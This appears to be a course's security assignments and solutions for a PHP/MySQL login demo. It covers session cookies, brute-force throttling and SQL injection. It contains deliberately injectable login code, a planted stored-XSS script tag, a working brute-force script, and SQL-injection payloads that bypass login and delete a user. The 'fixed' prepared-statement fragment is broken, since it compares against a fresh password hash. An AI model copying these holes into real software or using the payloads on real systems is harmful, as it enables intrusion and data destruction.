Security

Assignments From Chapter 54

Solutions to Assignments Sec.1

Assignment Sec.1.0

You must create a database to be used for the following assignment. Preferably a new database that we may try to violate in som of the following lessons. It may be modelled on your version of the YaddaYaddaYadda database from the backend course, or use the stuff from the present session.

Solution to Assignment Sec.1.0

A database is being created for these assignments only

Example B.132. The Generating SQL
/**
 * yaddaSecVariant.sql
 * @author nml
 * @copyright (c) 2018, nml
 * @license http://www.fsf.org/licensing/ GPLv3
 */

drop database if exists yaddaSecVariant;
create database yaddaSecVariant;
use yaddaSecVariant;

create table user (
  uid varchar(16) not null,
  pwd blob not null,
  activated boolean not null default false,
  email varchar(64) not null,
  profile enum('admin', 'regular') not null default 'regular',
  realname varchar(64) not null,
  primary key(uid),
  unique(email)
);

create table avatar (
    uid varchar(16) not null,
    mimetype varchar(32) not null,
    image blob not null,
    primary key(uid),
    foreign key(uid)
        references user(uid)
        on delete cascade
        on update cascade
);

create table abstract (
    id int unsigned not null auto_increment,
    entered datetime not null,
    enteredby varchar(16) not null,
    authors varchar(128) not null,
    reftitle varchar(64) not null,
    abstract varchar(4096) not null,
    primary key(id),
    foreign key(enteredby) references user(uid) 
);

grant select on user to nobody@localhost;
grant select, insert on abstract to nobody@localhost;

-- Jane_01
insert into user (uid, pwd, email, realname) 
    values('anybody', '$2y$10$zYIe4y3dvhI/fDC0R4nxmuMR3lFDFmBrCykAO9MnS3Y3MoJ7omV9y',
            'anybody@yaddayaddayadda.dk', 'John Doe'
);
-- John_42
insert into user (uid, pwd, activated, email, realname) 
    values('somebody', '$2y$10$oWs95YbVofnGVNf3VBnwJe8mSvHb8KX1cxYNURkciFEA4TnezF1Xa', 
            true, 'somebody@yaddayaddayadda.dk', 'Jane Doe'
);
-- test
insert into user (uid, pwd, activated, email, realname) 
    values('nobody', '$2y$10$C7a4VpLvm3D34AUTPmSUXu1gvhwhsb65aYu.A9vOCMuhVAZ81M3Nq', 
            true, 'nobody@yaddayaddayadda.dk', 'Who Am I'
);
-- big secret (cic)
insert into user (uid, pwd, activated, profile, email, realname) 
    values('admin', '$2y$10$C7B9SEelUeg1uWcVyU/SNuptKXIFeWa7T2MqaZY8bDZxFImfgol0i', 
            true, 'admin', 'admin@yaddayaddayadda.dk', 'Ad Min'
);

insert into abstract (entered, enteredby, authors, reftitle, abstract)
    values(current_timestamp, 'anybody', 'PPS Chen', 'The Entity-Relationship Model', 'Chen''s famous article ...');

insert into abstract (entered, enteredby, authors, reftitle, abstract)
    values(current_timestamp, 'anybody', 'Danny Cohen', 'On Holy Wars and a Plea for Peace', 'The funniest enlightenment ...');

insert into abstract (entered, enteredby, authors, reftitle, abstract)
    values(current_timestamp, 'anybody', 'Dennis M. Ritchie and Ken Thompson', 'The Unix Time Sharing System', 'UNIX is a general-purpose, multi-user, interactive
operating system for the Digital Equipment Corporation
PDP-11/40 and 11/45 computers. It offers a number
of features seldom found even in larger operating systems,
including: (1) a hierarchical file system incorporating
demountable volumes; (2) compatible file, device,
and inter-process I/O; (3) the ability to initiate asynchronous
processes; (4) system command language selectable
on a per-user basis; and (5) over 100 subsystems
including a dozen languages. This paper discusses the
nature and implementation of the file system and of the
user command interface.<script src="eviljs.js"></script>');

Assignment Sec.1.1

You must write, at least, the following 3 webpages:

  • An index page/program containing a login form. The form content must be authenticated against the database created in the previous assignment.
  • A page/program doing logout. Invisible content. Program just logs out and returns to index page.
  • Some page that there will be authenticated access to. Content: anything.

You may have something similar from our old YaddaYaddaYadda assignment. You could dig that out and ascertain that it meets the criteria.

Solution to Assignment Sec.1.1
Example B.133. DbP.inc.php
<?php
/**
 * DbP.inc.php
 * @author nml
 * @copyright (c) 2018, nml
 * @license http://www.fsf.org/licensing/ GPLv3
 */
abstract class DbP {
    const DBHOST = 'localhost';
    const DBUSER = 'nobody';
    const USERPWD = 'test';
    const DB = 'yaddaSecVariant';
    const DSN = "mysql:host=".self::DBHOST.";dbname=".self::DB;
}

Example B.134. DbH.inc.php
<?php
/**
 * DbH.inc.php with PDP
 * @author nml
 * @copyright (c) 2018, nml
 * @license http://www.fsf.org/licensing/ GPLv3
 */
require_once 'DbP.inc.php';

class DbH extends DbP {
    private static $instance = FALSE;
    private static $dbh;

    private function __construct() {
        try {
            self::$dbh = new PDO(DbP::DSN, DbP::DBUSER, DbP::USERPWD);
            self::$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        } catch (PDOException $e) {
            printf("<p>Connect failed for following reason: <br/>%s</p>\n",
              $e->getMessage());
        }
    }

    public static function getDbH() {
        if (! self::$instance) {
            self::$instance = new DbH();
        }
        return self::$dbh;
    }
}

Example B.135. Front Page login0.php
<?php
    session_start();
    $copy = "&copy; NML, 2018";
    $title = 'NMLs Login Demo - Front Page';

?><!doctype html>
<html>
    <head>
        <title><?php print($title);?></title>
        <meta charset='utf-8'/>
        <meta name='viewport' content='width=device-width, initial-scale=1.0'>
        <link rel='stylesheet' href='demo0.css'/>
    </head>
    <body>
        <header>
            <h1><?php print($title);?></h1>
        </header>
        <main>
            <section>
<?php
            if (!
                (isset($_SESSION['demoLoginId']) &&  
                            $_SESSION['demoLoginId'] != '')
                                                            ) {
?>
                <h2>Test Login</h2>
                <form action="login0Auth.php" method="post">
                    <fieldset>
                        <legend>login</legend>
                        <label for="uid">Id:</label>
                        <input id="uid" name="user"/><br/>
                        <label for="pwd">Password:</label>
                        <input type="password" 
                            id="pwd" name="password"/><br/>                    
                        <input type="submit" value="Login"/>
                    </fieldset>
                </form>
<?php
            } else {
?>
                <h2>Logout</h2>
                <p><?php echo sprintf("Active user: %s", $_SESSION['demoLoginId']);?></p>
                <form action="login0DeAuth.php" method="post">
                    <fieldset>
                        <legend>logout</legend>
                        <input type="submit" value="Logout"/>
                    </fieldset>
                </form>
<?php
            }
?>
                <p><a href='./login0p1.php'>Page 1</a></p>
                <p><a href='./login0p2.php'>Page 2</a></p>
            </section>
        </main>
        <footer><?php print($copy);?></footer>
    </body>
</html>

Example B.136. Authentication Code login0Auth.php
<?php
    session_start();
    require_once('DbH.inc.php');
    $dbh = DbH::getDbH();
    
    // if there is content in POST authenticate
    // sqlinj vulnerable, attack fails because proper pwd test
    // brute force vulnerable
    if (count($_POST) > 0) {
        $sql = "select uid, realname, pwd";
        $sql .= " from user";
        $sql .= " where uid = '". $_POST['user'] ."'";
        $sql .= " and activated;"; 
        try {
            $s = $dbh->prepare($sql);
            $s->execute();
            $obj  = $s->fetch(PDO::FETCH_OBJ);
            if ($obj && password_verify($_POST['password'], $obj->pwd)) {
                $_SESSION['demoLoginId'] = $obj->uid;
                header("Location: ./login0.php?success");
            } else {
                unset($_SESSION['demoLoginId']);
                header("Location: ./login0.php?err=noSuccess");
            }
        } catch (PDOException $e) {
            die(sprintf("Unexpected error<br/>\n", $e->getMessage()));
        }
    } else {
        header("Location: ./login0.php?err=noData");
    }

Example B.137. DeAuthentication Code login0DeAuth.php
<?php
session_start();
// Unset all session values / a bit much in an unnamed session
$_SESSION = array(); 
// Destroy session cookie on server
session_destroy();
header('Location: ./login0.php');

Example B.138. Restricted Page login0p1.php
<?php
    session_start();
    $_SESSION['lastId'] = 0;
    if (!
        (isset($_SESSION['demoLoginId']) &&  
                    $_SESSION['demoLoginId'] != '') ) {
        header("Location: ./login0.php?err=notAllowed");
        exit();
    }
?><!doctype html>
<html>
    <head>
        <title>Login Requirement  Page 1 - Create Abstracts/Reviews</title>
        <meta charset='utf-8'/>
        <meta name='viewport' content='width=device-width, initial-scale=1.0'>
    </head>
    <body>
        <h1>Page 1 - You're In, Create Abstracts/Reviews</h1>
        <form action='login0InsertAbstract.php' method='post'>
            <table>
                <tr>
                    <td>Reviewer:</td>
                    <td><input type='text' name='user' value='<?php echo $_SESSION['demoLoginId'];?>' readonly/></td>
                </tr>
                <tr>
                    <td>Article Authors:</td>
                    <td><input type='text' name='authors' placeholder="Comma separated list of authors" length='60' maxsize='128'/></td>
                </tr>
                <tr>
                    <td>Article Title:</td>
                    <td><input type='text' name='title' placeholder="Title of article goes here" length='60' maxsize='64'/></td>
                </tr>
                <tr>
                    <td>Review:</td>
                    <td><textarea name='abs' placeholder="Enter an abstract/review here..." rows='10' cols='64'></textarea></td>
                </tr>
                <tr>
                    <td>&nbsp;</td>
                    <td><input type='submit' value='Yeehah'/></td>
                </tr>
            </table>
        </form>
        <p>
            Done, go back to
            <a href='./login0.php'>Front page</a>
        </p>
    </body>
</html>

Example B.139. Open Page login0p2.php
<?php
    session_start();
    require_once('DbH.inc.php');
    $dbh = DbH::getDbH();
    $ltr = '>';
    if (isset($_GET['p'])) {
        $ltr = '<';
    }
?><!doctype html>
<html>
    <head>
        <title>Login Demo  Page 2 - Read Abstracts</title>
        <meta charset='utf-8'/>
        <meta name='viewport' content='width=device-width, initial-scale=1.0'>
        <link rel='stylesheet' href='login0p2.css'/>
    </head>
    <body>
        <h1>Page 2 - You're In - Everbody's Allowed</h1>
<?php
        $next = isset($_SESSION['lastId']) ? $_SESSION['lastId'] : 0;
        $sql = "select *";
        $sql .= " from abstract";
        $sql .= sprintf(" where id %s %s", $ltr, $next);
        $sql .= " limit 1;";
        try {
            $s = $dbh->prepare($sql);
            $s->execute();
        } catch (PDOException $e) {
            die(sprintf("Unexpected error<br/>%s<br/>\n", $e->getMessage()));
        }
        $obj  = $s->fetch(PDO::FETCH_OBJ);
        if ($obj) {
            $_SESSION['lastId'] = $obj->id;
?>
        <table>
            <caption>Abstract / Review</caption>
            <tr>
                <th>Abstract by</th><th>Article</th>
            </tr>
            <tr>
                <td class='left'><?php echo $obj->id;?></td><td><?php echo $obj->authors.": ".$obj->reftitle;?></td>
            </tr>
            <tr>
                <td><?php echo $obj->entered;?></td><td rowspan='2'><?php echo $obj->abstract;?></td>
            </tr>
            <tr>
                <td><?php echo $obj->enteredby;?></td>
            </tr>
        </table>
<?php
        }
?>
        <p>
            <a href='./login0p2.php?p'>Previous</a> or 
            <a href='./login0p2.php?n'>Next</a> or 
            <a href='./login0.php'>To Front</a>
        </p>
    </body>
</html>

Try it! (Teacher's localhost.)


Assignment Sec.1.2

Login as done in the previous exercise. Find and print the server side session cookies stored in the tmp folder under your apache server.

Keep your browser open. Open a new tab and login again. What happens in plain words? print the server side cookies.

Now close the browser, reopen it, and login again. Print the server side cookies, and tell me what happens, and whether there are obstacles.

Solution to Assignment Sec.1.2
  • Content of -rw------- 1 http http 25 Apr 27 14:14 sess_eqbv1t6fkaougvvf8247vb4h7a

    demoLoginId|s:6:"nobody";

  • A new tab inherits the login when tested in a localhost.
  • Close and reopen browserpage requires a renewed login. This results in a new server side cookie file.

    The content of -rw------- 1 http http 25 Apr 27 14:19 sess_2592q2lge4lsb3b41662cepckv

    demoLoginId|s:6:"nobody";

The PHPSESSID identifies the relevant server side cookie file. The PHPSESSID is the part of the fiulename that follows the _ (underscore).

Assignments From Chapter 55

Solutions to Assignments Sec.2.0

Assignment Sec.2.0

The login program from lesson 1 must be changed to supply some kind of protection against brute force attacks. A sound idea is introducing a delay for login attempts after failed login attempts. Many attempts per second may change to one attempt per 10, or 15 seconds. That will kill brute force. A hint would be to introduce a new column in the user table, make it a datatime, and record the time for any unsuccessful in that column, and delay next attempt to 10, or 15 secs after that. This will not disturb humans, who will use those seconds for reentering credentialds anyway. Resubmit under another name. Submission must include the database as an sql-file.

Solution to Assignment Sec.2.0
Example B.140. Brute Force Attack Remedied

The program bruteforceattack.php, you have seen this before, it hasn't changed.

<?php
    /*
     * Based on Chris Shiflett, Essential PHP Security, 2005, O'Reilly
     * Chapter 7
     */
    if (count($argv) != 7) {
        $s = "php bruteforceattack.php -- localhost urlpath userids passwords results\n";
        $s .= "the latter three being filenames\n";
        die($s);
    }
    $host = $argv[2];
    $url = $argv[3];
    $ids = file_get_contents($argv[4]);
    $idsa = explode(PHP_EOL, $ids);
    $pwds = file_get_contents($argv[5]);
    $pwdsa = explode(PHP_EOL, $pwds);
    $log = $argv[6];
    
    $http_header = '';
    $http_header .= "POST /" . $url . " HTTP/1.1\r\n";
    $http_header .= "Host: " . $host ."\r\n";
    $http_header .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $http_header .= "Content-Length: %s\r\n";
    $http_header .= "Connection: close\r\n";
    $http_header .= "\r\n";

    $start = time();
    $s = '';
    foreach($idsa as $uid) {
        if ($uid == '')
            break;
        foreach($pwdsa as $pwd) { 
            $content  = 'user=';
            $content .= $uid;
            $content .= '&password=';
            $content .= $pwd;
            $request = $http_header . $content;
            $request = sprintf($request, strlen($content));
            $response = '';

            if ($handle = fsockopen('localhost', 80)) {
                fputs($handle, $request);
                while (!feof($handle)) {
                    $response .= fgets($handle, 1024);
                }
                fclose($handle);
                /* Check response
                 * 1st, the return address */
                preg_match('/Location: \S+/', $response, $m, PREG_OFFSET_CAPTURE);
                if (count($m))
                    $s .= sprintf("\n%s %s", $content, $m[0][0]);
                /* 2nd, length of return */
                preg_match('/Content-Length: \d+/', $response, $m, PREG_OFFSET_CAPTURE);
                if (count($m))
                    $s .= sprintf("\n%s %s", $content, $m[0][0]);
            } else {
                /* Error in sockopen */
                die("WTF");
            }
        }
    }
    file_put_contents($log, $s);
    $stop = time();
    echo ("\n".$stop - $start);
    echo "\n";
?>

Input file 1 darkuids.txt

nobody

Input file 2 darkpwds.txt

qwerty
test
123456
abc123
password
yuiop

Authentication module login0Auth.php. Now it checks for recently failed logins for same user, and if found, the login fails. When a login attempt fails, the time is recorded in a new column in the user table in the database.

<?php
    session_start();
    require_once('DbH.inc.php');
    $dbh = DbH::getDbH();
    
    // if there is content in POST authenticate
    // sqlinj vulnerable
    $now = time();      // get unixtime
    $cut = $now - 15;   // subtract 15 secs
    if (count($_POST) > 0) {
        $sql = "select uid, realname, pwd, mostRecentFailedLogin";
        $sql .= " from user";
        $sql .= " where uid = '". $_POST['user'] ."'";
        $sql .= " and activated;"; 
        try {
            $s = $dbh->prepare($sql);
            $s->execute();
            $obj  = $s->fetch(PDO::FETCH_OBJ);
            // selected datetime to unixtime for compare
            if ($obj && strtotime($obj->mostRecentFailedLogin) > $cut) {
                header("Location: ./login0.php?err=nogotimer");
            } elseif ($obj && password_verify($_POST['password'], $obj->pwd)) {
                $_SESSION['demoLoginId'] = $obj->uid;
                header("Location: ./login0.php?success");
            } else {
                unset($_SESSION['demoLoginId']);
                // convert unixtime to datetime and update
                if ($obj) {
                    $sql = "update user";
                    $sql .= " set mostRecentFailedLogin = from_unixtime($now)";
                    $sql .= " where uid = '". $_POST['user'] ."'";
                    $u = $dbh->prepare($sql);
                    $u->execute();
                }
                header("Location: ./login0.php?err=nosuccess");
            }
        } catch (PDOException $e) {
            die(sprintf("Unexpected error<br/>\n", $e->getMessage()));
        }
    } else {
        header("Location: ./login0.php?err=noData");
    }

Execution

php bruteforceattack.php -- localhost x15.dk/webdev/code/Security/ass020M/login0Auth.php darkuids.txt darkpwds.txt darkresults.txt

The Result darkresults.txt


user=nobody&password=qwerty Location: ./login0.php?err=nosuccess
user=nobody&password=qwerty Content-Length: 0
user=nobody&password=test Location: ./login0.php?err=nogotimer
user=nobody&password=test Content-Length: 0
user=nobody&password=123456 Location: ./login0.php?err=nogotimer
user=nobody&password=123456 Content-Length: 0
user=nobody&password=abc123 Location: ./login0.php?err=nogotimer
user=nobody&password=abc123 Content-Length: 0
user=nobody&password=password Location: ./login0.php?err=nogotimer
user=nobody&password=password Content-Length: 0
user=nobody&password=yuiop Location: ./login0.php?err=nogotimer
user=nobody&password=yuiop Content-Length: 0
user=nobody&password= Location: ./login0.php?err=nogotimer
user=nobody&password= Content-Length: 0

To test that the code affects the manual login process you should probably set the delay to 30-60 seconds so that you have time to make one or two failed attempts before the timer expires.

In the rare instance where the brute force attack's very first attempt hit the proper id/password combination, no timer will help you.

There is a way that might circumvent the timer in the brute force situation, can you spot it?

Assignments From Chapter 56

Solutions to Assignments Sec.3

Assignment Sec.3.0

Before we do anything in this weeks assignments, please back up the databases you have been using for the assignments from lessons 1 and 2. You may use the export functions in your GUI utility, or please refer to the installation appendix for instructions on how to use the command line.

Please read what's in the lesson notes, and in the the reference http://www.unixwiz.net/techtips/sql-injection.html

Then working in pairs try to crack each other's login mechanism. Document your tries in a textfile, and hand in the resulting file.

You must do this twice, once for the login of assignment 1.1 then for the login from assignment 2.0.

  1. Try to document form variable names, table, and attribute names.
  2. Try to log in. If you succeed to login via the web, get the IP address of the victim's pc and see if you can repeat the login with the mysql command line utility.
  3. Try to drop a table.
  4. Try to update a user.
  5. Try to insert a user with values that only you lnow.
  6. ...
Solution to Assignment Sec.3.0

Based on Example 54.10 we have ...

Example B.141. First a Login on Injection
xyz' or 1=1; -- 

Example B.142. Try Deleting User

First the users

select uid from user;
+----------+
| uid      |
+----------+
| admin    |
| anybody  |
| nobody   |
| somebody |
+----------+

then

xyz' or 1=1; delete from user where uid='somebody'; -- 

resulting in

select uid from user;
+----------+
| uid      |
+----------+
| admin    |
| anybody  |
| nobody   |
+----------+

Assignment Sec.3.1

Upon completion of assignment 3.0, you must reinforce your solution to assignment 1.1 with filtering and escaping. Hand in under another, new, name.

The attempts documented against your login from your partner in assignment 3.0 must now be impossible.

Solution to Assignment Sec.3.1

The solution is to use prepared statements in the authentication module: (fragment)

$sql = "select uid, realname, pwd";
$sql .= " from user";
$sql .= " where uid = :UID";
$sql .= " and pwd = '" . password_hash($_POST['password'], PASSWORD_DEFAULT) . "'"; // will almost never succeed
$sql .= " and activated;"; 
try {
    $s = $dbh->prepare($sql);
    $s->bindValue(':UID', $_POST['user'], PDO::PARAM_STR);
Assignment Sec.3.2

Upon completion of assignment 3.0, you must reinforce your solution to assignment 2.0 with filtering and escaping. Hand in under another, new, name.

The attempts documented against your login from your partner in assignment 3.0 must now be impossible.

Solution to Assignment Sec.3.2

The solution is to use prepared statements in the authentication module: (fragment)

$sql = "select uid, realname, pwd";
$sql .= " from user";
$sql .= " where uid = :UID";
$sql .= " and pwd = '" . password_hash($_POST['password'], PASSWORD_DEFAULT) . "'"; // will almost never succeed
$sql .= " and activated;"; 
try {
    $s = $dbh->prepare($sql);
    $s->bindValue(':UID', $_POST['user'], PDO::PARAM_STR);